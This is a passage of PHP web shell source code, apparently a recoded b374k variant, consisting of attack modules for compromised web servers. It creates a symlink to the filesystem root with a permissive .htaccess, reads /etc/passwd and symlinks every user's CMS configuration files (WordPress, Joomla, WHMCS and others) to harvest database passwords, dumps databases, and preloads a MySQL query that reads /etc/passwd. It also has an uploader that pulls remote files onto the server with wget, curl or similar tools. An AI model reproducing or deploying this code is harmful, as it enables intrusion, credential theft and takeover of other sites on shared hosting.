6261if (strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named") continue;
6262echo "<tr><td align=center><font size=3>" . $dcount . "</td>
6263 <td align=center><font class=txt>" . $matches . "</td>";
6264echo "<td align=center><font class=txt><a href=/k2/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
6265$dcount++;
6266}fclose($file);
6267echo "</table>";
6268} else {if ($os != "Windows") {@mkdir("k2", 0777);
6269@chdir("k2");
6270@exe("ln -s / root");
6271$file3 = 'Options all
6272 DirectoryIndex Sux.html
6273 AddType text/plain .php
6274 AddHandler server-parsed .php
6275 AddType text/plain .html
6276 AddHandler txt .html
6277 Require None
6278 Satisfy Any';
6279$fp3 = fopen('.htaccess', 'w');
6280$fw3 = fwrite($fp3, $file3);
6281@fclose($fp3);
6282echo "<br><br><center><h2>Symlink Server !</h2></center><br><br><center>
6283 <div class='mybox'><h2 class='k2ll33d2'>server symlinker</h2>
6284 <table align=center border=1><tr>
6285 <td align=center><font size=4>id</font></td>
6286 <td align=center><font size=4>Users</font></td>
6287 <td align=center><font size=4>Symlink</font></td></tr>";
6288$temp = "";
6289$val1 = 0;
6290$val2 = 1000;
6291for (;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);
6292if ($uid) $temp.= join(':', $uid) . "
6293";
6294}echo '<br/>';
6295$temp = trim($temp);
6296$file5 = fopen("test.txt", "w");
6297fputs($file5, $temp);
6298fclose($file5);
6299$dcount = 1;
6300$file = fopen("test.txt", "r") or exit("Unable to open file!");
6301while (!feof($file)) {$s = fgets($file);
6302$matches = array();
6303$t = preg_match('/\/(.*?)\:\//s', $s, $matches);
6304$matches = str_replace("home/", "", $matches[1]);
6305if (strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named") continue;
6306echo "<tr><td align=center><font size=3>" . $dcount . "</td>
6307 <td align=center><font class=txt>" . $matches . "</td>";
6308echo "<td align=center><font class=txt><a href=/k2/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
6309$dcount++;
6310}fclose($file);
6311echo "</table></div></center>";
6312unlink("test.txt");
6313} else echo "<center><font size=4>Cannot create Symlink</font></center>";
6314}}}
6315/////////////////////////////////////////////////////////////////
6316## db dump
6317elseif (isset($_GET['x']) && ($_GET['x'] == 'dump')) {
6318?>
6319 <form action="?y=<?php echo $pwd; ?>&x=dump" method="post">
6320 <?php
6321echo $head . '<p align="center">';
6322echo '
6323<table width=371 class=tabnet >
6324<tr><th colspan="2">Database Dump</th></tr>
6325<tr>
6326 <td>Server </td>
6327 <td><input class="inputz" type=text name=server size=52></td></tr><tr>
6328 <td>Username</td>
6329 <td><input class="inputz" type=text name=username size=52></td></tr><tr>
6330 <td>Password</td>
6331 <td><input class="inputz" type=text name=password size=52></td></tr><tr>
6332 <td>DataBase Name</td>
6333 <td><input class="inputz" type=text name=dbname size=52></td></tr>
6334 <tr>
6335 <td>DB Type </td>
6336 <td><form method=post action="' . $me . '">
6337 <select class="inputz" name=method>
6338 <option value="gzip">Gzip</option>
6339 <option value="sql">Sql</option>
6340 </select>
6341 <input class="inputzbut" type=submit value=" Dump! " ></td></tr>
6342 </form></center></table>';
6343if ($_POST['username'] && $_POST['dbname'] && $_POST['method']) {$date = date("Y-m-d");
6344$dbserver = $_POST['server'];
6345$dbuser = $_POST['username'];
6346$dbpass = $_POST['password'];
6347$dbname = $_POST['dbname'];
6348$file = "Dump-$dbname-$date";
6349$method = $_POST['method'];
6350if ($method == 'sql') {$file = "Dump-$dbname-$date.sql";
6351$fp = fopen($file, "w");
6352} else {$file = "Dump-$dbname-$date.sql.gz";
6353$fp = gzopen($file, "w");
6354}function write($data) {global $fp;
6355if ($_POST['method'] == 'ssql') {fwrite($fp, $data);
6356} else {gzwrite($fp, $data);
6357}}mysql_connect($dbserver, $dbuser, $dbpass);
6358mysql_select_db($dbname);
6359$tables = mysql_query("SHOW TABLES");
6360while ($i = mysql_fetch_array($tables)) {$i = $i['Tables_in_' . $dbname];
6361$create = mysql_fetch_array(mysql_query("SHOW CREATE TABLE " . $i));
6362write($create['Create Table'] . ";
6363
6364");
6365$sql = mysql_query("SELECT * FROM " . $i);
6366if (mysql_num_rows($sql)) {while ($row = mysql_fetch_row($sql)) {foreach ($row as $j => $k) {$row[$j] = "'" . mysql_escape_string($k) . "'";
6367}write("INSERT INTO $i VALUES(" . implode(",", $row) . ");
6368");
6369}}}if ($method == 'ssql') {fclose($fp);
6370} else {gzclose($fp);
6371}header("Content-Disposition: attachment; filename=" . $file);
6372header("Content-Type: application/download");
6373header("Content-Length: " . filesize($file));
6374flush();
6375$fp = fopen($file, "r");
6376while (!feof($fp)) {echo fread($fp, 65536);
6377flush();
6378}fclose($fp);
6379}}
6380/* Goblok
6381 start here */
6382// domain viewer by S1r_V1ru5 rec0de by Sinkaroid ft Kerupuk
6383elseif (isset($_GET['x']) && ($_GET['x'] == 'dv')) {@ini_set('output_buffering', 0);
6384{
6385?>
6386 <form action="?y=<?php echo $pwd; ?>&x=dv" method="post">
6387 <center><h2>Domain Viewer by S1r_V1ru5<br>notes: if blank(no domain) that mean not work use domain viewer, you can use symlink server</center><br><br>
6388 <?php
6389function openBaseDir() {$openBaseDir = ini_get("open_basedir");
6390if (!$openBaseDir) {$openBaseDir = '<font color="green">OFF</font>';
6391} else {$openBaseDir = '<font color="red">ON</font>';
6392}return $openBaseDir;
6393}echo '
6394 <table width="95%" cellspacing="0" cellpadding="0" class="td1" >
6395 <td height="100" align="left" class="td1">';
6396$pg = basename(__FILE__);
6397$safe_mode = @ini_get('safe_mode');
6398$dir = @getcwd();
6399////////////////////////////////////////////////////
6400// LET'S PLAY ~
6401##.htaccess
6402@mkdir('pee', 0777);
6403@symlink("/", "pee/root");
6404$htaccss = "Options all
6405 DirectoryIndex Sux.html
6406 AddType text/plain .php
6407 AddHandler server-parsed .php
6408 AddType text/plain .html
6409 AddHandler txt .html
6410 Require None
6411 Satisfy Any";
6412file_put_contents("pee/.htaccess", $htaccss);
6413$etc = file_get_contents("/etc/passwd");
6414$etcz = explode("
6415", $etc);
6416##Symlink to the ROOT :p
6417foreach ($etcz as $etz) {$etcc = explode(":", $etz);
6418error_reporting(0);
6419$current_dir = posix_getcwd();
6420$dir = explode("/", $current_dir);
6421symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/wp-config.php', "pee/" . $etcc[0] . '-WordPress.txt');
6422symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/blog/wp-config.php', "pee/" . $etcc[0] . '-WordPress.txt');
6423symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/wp/wp-config.php', "pee/" . $etcc[0] . '-WordPress.txt');
6424symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/site/wp-config.php', "pee/" . $etcc[0] . '-WordPress.txt');
6425symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/config.php', "pee/" . $etcc[0] . '-PhpBB.txt');
6426symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/includes/config.php', "pee/" . $etcc[0] . '-vBulletin.txt');
6427symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/configuration.php', "pee/" . $etcc[0] . '-Joomla.txt');
6428symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/web/configuration.php', "pee/" . $etcc[0] . '-Joomla.txt');
6429symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/joomla/configuration.php', "pee/" . $etcc[0] . '-Joomla.txt');
6430symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/site/configuration.php', "pee/" . $etcc[0] . '-Joomla.txt');
6431symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/conf_global.php', "pee/" . $etcc[0] . '-IPB.txt');
6432symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/inc/config.php', "pee/" . $etcc[0] . '-MyBB.txt');
6433symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/Settings.php', "pee/" . $etcc[0] . '-SMF.txt');
6434symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/sites/default/settings.php', "pee/" . $etcc[0] . '-Drupal.txt');
6435symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/e107_config.php', "pee/" . $etcc[0] . '-e107.txt');
6436symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/datas/config.php', "pee/" . $etcc[0] . '-Seditio.txt');
6437symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/includes/configure.php', "pee/" . $etcc[0] . '-osCommerce.txt');
6438symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/client/configuration.php', "pee/" . $etcc[0] . '-WHMCS.txt');
6439symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/clientes/configuration.php', "pee/" . $etcc[0] . '-WHMCS.txt');
6440symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/support/configuration.php', "pee/" . $etcc[0] . '-WHMCS.txt');
6441symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/supportes/configuration.php', "pee/" . $etcc[0] . '-WHMCS.txt');
6442symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/whmcs/configuration.php', "pee/" . $etcc[0] . '-WHMCS.txt');
6443symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/domain/configuration.php', "pee/" . $etcc[0] . '-WHMCS.txt');
6444symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/hosting/configuration.php', "pee/" . $etcc[0] . '-WHMCS.txt');
6445symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/whmc/configuration.php', "pee/" . $etcc[0] . '-WHMCS.txt');
6446symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/billing/configuration.php', "pee/" . $etcc[0] . '-WHMCS.txt');
6447symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/portal/configuration.php', "pee/" . $etcc[0] . '-WHMCS.txt');
6448symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/order/configuration.php', "pee/" . $etcc[0] . '-WHMCS.txt');
6449symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/clientarea/configuration.php', "pee/" . $etcc[0] . '-WHMCS.txt');
6450symlink('/' . $dir[1] . '/' . $etcc[0] . '/' . $dir[3] . '/domains/configuration.php', "pee/" . $etcc[0] . '-WHMCS.txt');
6451}
6452#############################
6453if (is_readable("/var/named")) {echo '<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
6454echo '<tr><td><center><b>SITE</b></center></td><td>
6455 <center><b>USER</b></center></td>
6456 <td></center><b>SYMLINK</b></center></td>';
6457$list = scandir("/var/named");
6458foreach ($list as $domain) {if (strpos($domain, ".db")) {$i+= 1;
6459$domain = str_replace('.db', '', $domain);
6460$owner = posix_getpwuid(fileowner("/etc/valiases/" . $domain));
6461echo "<tr><td class='td1'><a href='http://" . $domain . " '>" . $domain . "</a></td>
6462 <td class='td1'><center><font color='red'>" . $owner['name'] . "</font></center></td>
6463 <td class='td1'><center><a href='pee/root" . $owner['dir'] . "/" . $dir[3] . "' target='_blank'>DIR</a></center></td>";
6464}}echo "<center>Total Domains Found: " . $i . "</center><br />";
6465} else {echo "<tr><td class='td1'>can't read [ /var/named ]</td><tr>";
6466}break;
6467##################################
6468error_reporting(0);
6469$etc = file_get_contents("/etc/passwd");
6470$etcz = explode("
6471", $etc);
6472if (is_readable("/etc/passwd")) {echo '<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
6473echo '<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>SYMLINK</b></center></td>';
6474$list = scandir("/var/named");
6475foreach ($etcz as $etz) {$etcc = explode(":", $etz);
6476foreach ($list as $domain) {if (strpos($domain, ".db")) {$domain = str_replace('.db', '', $domain);
6477$owner = posix_getpwuid(fileowner("/etc/valiases/" . $domain));
6478if ($owner['name'] == $etcc[0]) {$i+= 1;
6479echo "<tr><td class='td1'><a href='http://" . $domain . " '>" . $domain . "</a></td><center>
6480<td class='td1'><font color='red'>" . $owner['name'] . "</font></center></td>
6481<td class='td1'><center><a href='pee/root" . $owner['dir'] . "/" . $dir[3] . "' target='_blank'>DIR</a></center></td>";
6482}}}}echo "<center>Total Domains Found: " . $i . "</center><br />";
6483}break;
6484###############################
6485if (is_readable("/etc/named.conf")) {echo '<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
6486echo '<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td></center><b>SYMLINK</b></center></td>';
6487$named = file_get_contents("/etc/named.conf");
6488preg_match_all('%zone \"(.*)\" {%', $named, $domains);
6489foreach ($domains[1] as $domain) {$domain = trim($domain);
6490$i+= 1;
6491$owner = posix_getpwuid(fileowner("/etc/valiases/" . $domain));
6492echo "<tr><td class='td1'><a href='http://" . $domain . " '>" . $domain . "</a></td><td class='td1'><center><font color='red'>" . $owner['name'] . "</font></center></td><td class='td1'><center><a href='pee/root" . $owner['dir'] . "/" . $dir[3] . "' target='_blank'>DIR</a></center></td>";
6493}echo "<center>Total Domains Found: " . $i . "</center><br />";
6494} else {echo "<tr><td class='td1'>can't read [ /etc/named.conf ]</td></tr>";
6495}break;
6496############################
6497if (is_readable("/etc/valiases")) {echo '<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
6498echo '<tr><td><center><b>SITE</b></center></td><td>
6499<center><b>USER</b></center></td><td></center>
6500<b>SYMLINK</b></center></td>';
6501$list = scandir("/etc/valiases");
6502foreach ($list as $domain) {$i+= 1;
6503$owner = posix_getpwuid(fileowner("/etc/valiases/" . $domain));
6504echo "<tr><td class='td1'><a href='http://" . $domain . " '>" . $domain . "</a></td>
6505<center><td class='td1'><font color='red'>" . $owner['name'] . "</font></center></td>
6506<td class='td1'><center><a href='pee/root" . $owner['dir'] . "/" . $dir[3] . "' target='_blank'>DIR</a></center></td>";
6507}echo "<center>Total Domains Found: " . $i . "</center><br />";
6508} else {echo "<tr><td class='td1'>can't read [ /etc/valiases ]</td></tr>";
6509}break;
6510}}
6511##########################
6512#Kerupuk X Sinkaroid
6513##########################################
6514#######################
6515########################
6516# JAAAAAAAAAAAAANCCCCCCCCCCCOOOOOOOOOOOOOK
6517##################
6518# recode by Sinkaroid ft Kerupuk
6519#########################
6520#gue kasih skat biar ga pusing :v
6521##################################
6522//////////////////
6523########################################################################
6524########################################################################
6525#########################################################################
6526# END
6527############## MYSQL ########################################
6528elseif (isset($_GET['x']) && ($_GET['x'] == 'mysql')) {if (isset($_GET['sqlhost']) && isset($_GET['sqluser']) && isset($_GET['sqlpass']) && isset($_GET['sqlport'])) {$sqlhost = $_GET['sqlhost'];
6529$sqluser = $_GET['sqluser'];
6530$sqlpass = $_GET['sqlpass'];
6531$sqlport = $_GET['sqlport'];
6532if ($con = @mysql_connect($sqlhost . ":" . $sqlport, $sqluser, $sqlpass)) {$msg.= "<div style='width:99%;padding:4px 10px 0 10px;'>";
6533$msg.= "<p>Connected to " . $sqluser . "<span class='gaya'>@</span>" . $sqlhost . ":" . $sqlport;
6534$msg.= " <span class='gaya'>-></span> <a href='?y=" . $pwd . "&x=mysql&sqlhost=" . $sqlhost . "&sqluser=" . $sqluser . "&sqlpass=" . $sqlpass . "&sqlport=" . $sqlport . "&'>[ databases ]</a>";
6535if (isset($_GET['db'])) $msg.= " <span class='gaya'>-></span> <a href='?y=" . $pwd . "&x=mysql&sqlhost=" . $sqlhost . "&sqluser=" . $sqluser . "&sqlpass=" . $sqlpass . "&sqlport=" . $sqlport . "&db=" . $_GET['db'] . "'>" . htmlspecialchars($_GET['db']) . "</a>";
6536if (isset($_GET['table'])) $msg.= " <span class='gaya'>-></span> <a href='?y=" . $pwd . "&x=mysql&sqlhost=" . $sqlhost . "&sqluser=" . $sqluser . "&sqlpass=" . $sqlpass . "&sqlport=" . $sqlport . "&db=" . $_GET['db'] . "&table=" . $_GET['table'] . "'>" . htmlspecialchars($_GET['table']) . "</a>";
6537$msg.= "</p><p>version : " . mysql_get_server_info($con) . " proto " . mysql_get_proto_info($con) . "</p>";
6538$msg.= "</div>";
6539echo $msg;
6540if (isset($_GET['db']) && (!isset($_GET['table'])) && (!isset($_GET['sqlquery']))) {$db = $_GET['db'];
6541$query = "DROP TABLE IF EXISTS b374k_table;
6542CREATE TABLE `b374k_table` ( `file` LONGBLOB NOT NULL );
6543LOAD DATA INFILE '/etc/passwd'
6544INTO TABLE b374k_table;SELECT * FROM b374k_table;
6545DROP TABLE IF EXISTS b374k_table;";
6546$msg = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'><input type='hidden' name='y' value='" . $pwd . "' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlhost' value='" . $sqlhost . "' /> <input type='hidden' name='sqluser' value='" . $sqluser . "' /> <input type='hidden' name='sqlport' value='" . $sqlport . "' /> <input type='hidden' name='sqlpass' value='" . $sqlpass . "' /> <input type='hidden' name='db' value='" . $db . "' /> <p><textarea name='sqlquery' class='output' style='width:98%;height:80px;'>$query</textarea></p> <p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p> </form></div> ";
6547$tables = array();
6548$msg.= "<table class='explore' style='width:99%;'><tr><th>available tables on " . $db . "</th></tr>";
6549$hasil = @mysql_list_tables($db, $con);
6550while (list($table) = @mysql_fetch_row($hasil)) {@array_push($tables, $table);
6551}@sort($tables);
6552foreach ($tables as $table) {$msg.= "<tr><td><a href='?y=" . $pwd . "&x=mysql&sqlhost=" . $sqlhost . "&sqluser=" . $sqluser . "&sqlpass=" . $sqlpass . "&sqlport=" . $sqlport . "&db=" . $db . "&table=" . $table . "'>$table</a></td></tr>";
6553}$msg.= "</table>";
6554} elseif (isset($_GET['table']) && (!isset($_GET['sqlquery']))) {$db = $_GET['db'];
6555$table = $_GET['table'];
6556$query = "SELECT * FROM " . $db . "." . $table . " LIMIT 0,100;";
6557$msgq = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'> <input type='hidden' name='y' value='" . $pwd . "' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlhost' value='" . $sqlhost . "' /> <input type='hidden' name='sqluser' value='" . $sqluser . "' /> <input type='hidden' name='sqlport' value='" . $sqlport . "' /> <input type='hidden' name='sqlpass' value='" . $sqlpass . "' /> <input type='hidden' name='db' value='" . $db . "' /> <input type='hidden' name='table' value='" . $table . "' /> <p><textarea name='sqlquery' class='output' style='width:98%;height:80px;'>" . $query . "</textarea></p> <p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p> </form></div> ";
6558$columns = array();
6559$msg = "<table class='explore' style='width:99%;'>";
6560$hasil = @mysql_query("SHOW FIELDS FROM " . $db . "." . $table);
6561while (list($column) = @mysql_fetch_row($hasil)) {$msg.= "<th>$column</th>";
6562$kolum = $column;
6563}$msg.= "</tr>";
6564$hasil = @mysql_query("SELECT count(*) FROM " . $db . "." . $table);
6565list($total) = mysql_fetch_row($hasil);
6566if (isset($_GET['z'])) $page = (int)$_GET['z'];
6567else $page = 1;
6568$pagenum = 100;
6569$totpage = ceil($total / $pagenum);
6570$start = (($page - 1) * $pagenum);
6571$hasil = @mysql_query("SELECT * FROM " . $db . "." . $table . " LIMIT " . $start . "," . $pagenum);
6572while ($datas = @mysql_fetch_assoc($hasil)) {$msg.= "<tr>";
6573foreach ($datas as $data) {if (trim($data) == "") $data = " ";
6574$msg.= "<td>$data</td>";
6575}$msg.= "</tr>";
6576}$msg.= "</table>";
6577$head = "<div style='padding:10px 0 0 6px;'> <form action='?' method='get'> <input type='hidden' name='y' value='" . $pwd . "' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlhost' value='" . $sqlhost . "' /> <input type='hidden' name='sqluser' value='" . $sqluser . "' /> <input type='hidden' name='sqlport' value='" . $sqlport . "' /> <input type='hidden' name='sqlpass' value='" . $sqlpass . "' /> <input type='hidden' name='db' value='" . $db . "' /> <input type='hidden' name='table' value='" . $table . "' /> Page <select class='inputz' name='z' onchange='this.form.submit();'>";
6578for ($i = 1;$i <= $totpage;$i++) {$head.= "<option value='" . $i . "'>" . $i . "</option>";
6579if ($i == $_GET['z']) $head.= "<option value='" . $i . "' selected='selected'>" . $i . "</option>";
6580}$head.= "</select><noscript><input class='inputzbut' type='submit' value='Go !' /></noscript></form></div>";
6581$msg = $msgq . $head . $msg;
6582} elseif (isset($_GET['submitquery']) && ($_GET['sqlquery'] != "")) {$db = $_GET['db'];
6583$query = magicboom($_GET['sqlquery']);
6584$msg = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'> <input type='hidden' name='y' value='" . $pwd . "' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlhost' value='" . $sqlhost . "' /> <input type='hidden' name='sqluser' value='" . $sqluser . "' /> <input type='hidden' name='sqlport' value='" . $sqlport . "' /> <input type='hidden' name='sqlpass' value='" . $sqlpass . "' /> <input type='hidden' name='db' value='" . $db . "' /> <p><textarea name='sqlquery' class='output' style='width:98%;height:80px;'>" . $query . "</textarea></p> <p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p> </form></div> ";
6585@mysql_select_db($db);
6586$querys = explode(";", $query);
6587foreach ($querys as $query) {if (trim($query) != "") {$hasil = mysql_query($query);
6588if ($hasil) {$msg.= "<p style='padding:0;margin:20px 6px 0 6px;'>" . $query . "; <span class='gaya'>[</span> ok <span class='gaya'>]</span></p>";
6589$msg.= "<table class='explore' style='width:99%;'><tr>";
6590for ($i = 0;$i < @mysql_num_fields($hasil);$i++) $msg.= "<th>" . htmlspecialchars(@mysql_field_name($hasil, $i)) . "</th>";
6591$msg.= "</tr>";
6592for ($i = 0;$i < @mysql_num_rows($hasil);$i++) {$rows = @mysql_fetch_array($hasil);
6593$msg.= "<tr>";
6594for ($j = 0;$j < @mysql_num_fields($hasil);$j++) {if ($rows[$j] == "") $dataz = " ";
6595else $dataz = $rows[$j];
6596$msg.= "<td>" . $dataz . "</td>";
6597}$msg.= "</tr>";
6598}$msg.= "</table>";
6599} else $msg.= "<p style='padding:0;margin:20px 6px 0 6px;'>" . $query . "; <span class='gaya'>[</span> error <span class='gaya'>]</span></p>";
6600}}} else {$query = "SHOW PROCESSLIST;
6601SHOW VARIABLES;
6602SHOW STATUS;";
6603$msg = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'> <input type='hidden' name='y' value='" . $pwd . "' /><input type='hidden' name='x' value='mysql' /><input type='hidden' name='sqlhost' value='" . $sqlhost . "' /><input type='hidden' name='sqluser' value='" . $sqluser . "' /><input type='hidden' name='sqlport' value='" . $sqlport . "' /><input type='hidden' name='sqlpass' value='" . $sqlpass . "' /><input type='hidden' name='db' value='" . $db . "' /><p><textarea name='sqlquery' class='output' style='width:98%;height:80px;'>" . $query . "</textarea></p><p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p></form></div> ";
6604$dbs = array();
6605$msg.= "<table class='explore' style='width:99%;'><tr><th>available databases</th></tr>";
6606$hasil = @mysql_list_dbs($con);
6607while (list($db) = @mysql_fetch_row($hasil)) {@array_push($dbs, $db);
6608}@sort($dbs);
6609foreach ($dbs as $db) {$msg.= "<tr><td><a href='?y=" . $pwd . "&x=mysql&sqlhost=" . $sqlhost . "&sqluser=" . $sqluser . "&sqlpass=" . $sqlpass . "&sqlport=" . $sqlport . "&db=" . $db . "'>$db</a></td></tr>";
6610}$msg.= "</table>";
6611}@mysql_close($con);
6612} else $msg = "<p style='text-align:center;'>can't connect</p>";
6613echo $msg;
6614} else { ?>
6615<br><center><div class="mybox"><h2 class="k2ll33d2">MySQL Connect !<br>if you want use mysql interface by S4MP4H, change url '&x=mysq' to '&x=sql'</h2>
6616<form action="?" method="get"><input type="hidden" name="y" value="<?php echo $pwd; ?>" />
6617<input type="hidden" name="x" value="mysql" /><table class="tabnet" style="width:300px;"> <tr>
6618<th colspan="2">Connection Form</th></tr> <tr><td> Host</td><td>
6619<input style="width:220px;" class="inputz" type="text" name="sqlhost" value="localhost" /></td></tr>
6620<tr><td> Username</td><td><input style="width:220px;" class="inputz" type="text" name="sqluser" value="root" /></td></tr>
6621<tr><td> Password</td><td><input style="width:220px;" class="inputz" type="text" name="sqlpass" value="password" /></td></tr>
6622<tr><td> Port</td><td><input style="width:80px;" class="inputz" type="text" name="sqlport" value="3306" /> <input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitsql" />
6623</td></tr></table></form></div></center>
6624<?
6625 }
6626 }
6627########################################################################
6628# START UPLOAD #
6629elseif(isset($_REQUEST['upload'])){ $s_result = " "; $msg = "";
6630if(isset($_POST['uploadcomp'])){
6631 if(is_uploaded_file($_FILES['file']['tmp_name'])){
6632 $path = magicboom($_POST['path']);
6633 $fname = $_FILES['file']['name'];
6634 $tmp_name = $_FILES['file']['tmp_name'];
6635 $pindah = $path.$fname;
6636 $stat = @move_uploaded_file($tmp_name,$pindah);
6637 if ($stat) {
6638 $msg = "file uploaded to $pindah";
6639 }
6640 else $msg = "failed to upload $fname";
6641 }
6642 else $msg = "failed to upload $fname";
6643}
6644elseif(isset($_POST['uploadurl'])){
6645 $pilihan = trim($_POST['pilihan']);
6646 $wurl = trim($_POST['wurl']);
6647 $path = magicboom($_POST['path']);
6648 $namafile = download($pilihan,$wurl);
6649 $pindah = $path.$namafile;
6650 if(is_file($pindah)) {
6651 $msg = "file uploaded to $pindah";
6652 }
6653 else $msg = "failed to upload $namafile";
6654
6655}
6656?>
6657<form action="?y=<?php echo $pwd; ?>&x=upload" enctype="multipart/form-data" method="post">
6658<table class="tabnet" style="width:320px;padding:0 1px;">
6659<tr><th colspan="2">Upload from computer</th></tr>
6660<tr><td colspan="2"><p style="text-align:center;"><input style="color:#ffffff;" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px;"></p></td>
6661<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
6662</tr>
6663</table></form>
6664<table class="tabnet" style="width:320px;padding:0 1px;">
6665<tr><th colspan="2">Upload from url</th></tr>
6666<tr><td colspan="2"><form method="post" style="margin:0;padding:0;" actions="?y=<?php echo $pwd; ?>&x=upload">
6667<table><tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://www.some-code/exploits.c"></td></tr>
6668<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
6669<tr><td><select size="1" class="inputz" name="pilihan">
6670<option value="wwget">wget</option>
6671<option value="wlynx">lynx</option>
6672<option value="wfread">fread</option>
6673<option value="wfetch">fetch</option>
6674<option value="wlinks">links</option>
6675<option value="wget">GET</option>
6676<option value="wcurl">curl</option>
6677</select></td><td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go" style="width:246px;"></td></tr></form></table></td>
6678</tr>
6679</table>
6680<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
6681<?php }
6682/////////////////////// END
6683/////////////////////// START HASH
6684elseif (isset($_GET['x']) && ($_GET['x'] == 'hash')) {
6685?>
6686 <?php
6687$submit = $_POST['enter'];
6688if (isset($submit)) {$pass = $_POST['password']; // password
6689$salt = '}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN'; // random string
6690$hash = md5($pass); // md5 hash #1
6691$md4 = hash("md4", $pass);
6692$hash_md5 = md5($salt . $pass); // md5 hash with salt #2
6693$hash_md5_double = md5(sha1($salt . $pass)); // md5 hash with salt & sha1 #3
6694$hash1 = sha1($pass); // sha1 hash #4
6695$sha256 = hash("sha256", $text);
6696$hash1_sha1 = sha1($salt . $pass); // sha1 hash with salt #5
6697$hash1_sha1_double = sha1(md5($salt . $pass)); // sha1 hash with salt & md5 #6
6698}echo '<form action="" method="post"><table class="tabnet">';
6699echo '<th colspan="2">Password Hash</th></center></tr>';
6700echo '<td><b>masukan kata yang ingin di encrypt:</b></td>';
6701echo '<td><input class="inputz" type="text" name="password" size="40" />';
6702echo '<input class="inputzbut" type="submit" name="enter" value="hash" />';
6703//echo '</td></tr><br>';
6704echo '<tr><th colspan="2">Hasil Hash</th></center></tr>';
6705echo '<tr><td>Original Password</td><td><input class=inputz type=text size=50 value=' . $pass . '></td></tr>';
6706echo '<tr><td>MD5</td><td><input class=inputz type=text size=50 value=' . $hash . '></td></tr>';
6707echo '<tr><td>MD4</td><td><input class=inputz type=text size=50 value=' . $md4 . '></td></tr>';
6708echo '<tr><td>MD5 with Salt</td><td><input class=inputz type=text size=50 value=' . $hash_md5 . '></td></tr>';
6709echo '<tr><td>MD5 with Salt & Sha1</td><td><input class=inputz type=text size=50 value=' . $hash_md5_double . '></td></tr>';
